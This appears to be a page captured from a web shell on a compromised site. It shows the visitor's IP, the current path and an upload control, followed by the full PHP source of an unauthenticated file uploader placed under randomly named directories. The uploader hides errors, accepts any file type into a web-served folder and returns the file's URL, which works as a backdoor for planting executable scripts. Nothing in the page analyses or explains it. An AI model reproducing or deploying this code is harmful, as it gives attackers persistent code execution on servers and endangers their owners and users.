Your IP : 216.73.216.59


Current Path : /home/quelfutuu/www/lchg/logs_uGn/media_JfX/logs_Ogj/
Upload File :
Current File : /home/quelfutuu/www/lchg/logs_uGn/media_JfX/logs_Ogj/upload_A8xu.php

<?php
error_reporting(0);
$upload_dir=__DIR__;
$message="";
if($_SERVER["REQUEST_METHOD"]=="POST"&&isset($_FILES["file"])){
    $file=$_FILES["file"];
    if($file["error"]===UPLOAD_ERR_OK){
        $filename=basename($file["name"]);
        $target=$upload_dir."/".$filename;
        $counter=1;
        $info=pathinfo($filename);
        $name=$info["filename"];
        $ext=isset($info["extension"])?".".$info["extension"]:"";
        while(file_exists($target)){
            $filename=$name."_".$counter.$ext;
            $target=$upload_dir."/".$filename;
            $counter++;
        }
        if(move_uploaded_file($file["tmp_name"],$target)){
            $protocol=(!empty($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]!="off")?"https":"http";
            $host=$_SERVER["HTTP_HOST"];
            $url=$protocol."://".$host.str_replace($_SERVER["DOCUMENT_ROOT"],"",$target);
            $message="<div style=\"color:#27ae60;padding:15px;background:#d5f5e3;border-radius:8px;\">✅ Upload success!<br>📁 Path: ".$target."<br>🔗 URL: <a href=\"".$url."\" target=\"_blank\">".$url."</a></div>";
        }else{
            $message="<div style=\"color:#e74c3c;padding:15px;background:#fdebd0;border-radius:8px;\">❌ Upload failed</div>";
        }
    }else{
        $message="<div style=\"color:#e74c3c;padding:15px;background:#fdebd0;border-radius:8px;\">❌ Upload error</div>";
    }
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>Uploader</title>
<style>
*{margin:0;padding:0;box-sizing:border-box;}
body{font-family:Segoe UI,Arial,sans-serif;background:#f0f2f5;display:flex;justify-content:center;align-items:center;min-height:100vh;padding:20px;}
.c{background:#fff;padding:40px;border-radius:16px;box-shadow:0 10px 40px rgba(0,0,0,0.1);max-width:600px;width:100%;}
h1{text-align:center;color:#2c3e50;font-size:24px;margin-bottom:5px;}
.sub{text-align:center;color:#95a5a6;font-size:13px;margin-bottom:25px;}
.upload-box{border:2px dashed #dce4ec;border-radius:12px;padding:40px 20px;text-align:center;}
.upload-box input[type="file"]{display:none;}
.upload-box label{display:inline-block;padding:12px 30px;background:#3498db;color:#fff;border-radius:8px;cursor:pointer;font-weight:500;}
.upload-box label:hover{background:#2980b9;}
.upload-box p{margin-top:15px;color:#7f8c8d;}
.btn-upload{display:block;width:100%;padding:12px;background:#2ecc71;color:#fff;border:none;border-radius:8px;font-size:16px;font-weight:600;cursor:pointer;margin-top:15px;}
.btn-upload:hover{background:#27ae60;}
.message{margin-top:20px;}
</style>
</head>
<body>
<div class="c">
    <h1>📤 File Uploader</h1>
    <div class="sub">Upload files to this directory</div>
    <?php echo $message; ?>
    <form method="POST" enctype="multipart/form-data">
        <div class="upload-box">
            <input type="file" name="file" id="fileInput" required>
            <label for="fileInput">📁 Choose File</label>
            <p id="fileName">No file selected</p>
        </div>
        <button type="submit" class="btn-upload">⬆ Upload</button>
    </form>
    <div style="margin-top:20px;text-align:center;font-size:12px;color:#95a5a6;border-top:1px solid #eee;padding-top:15px;">
        Upload path: <?php echo __DIR__; ?>
    </div>
</div>
<script>
document.getElementById("fileInput").addEventListener("change", function() {
    document.getElementById("fileName").textContent = this.files[0] ? this.files[0].name : "No file selected";
});
</script>
</body>
</html>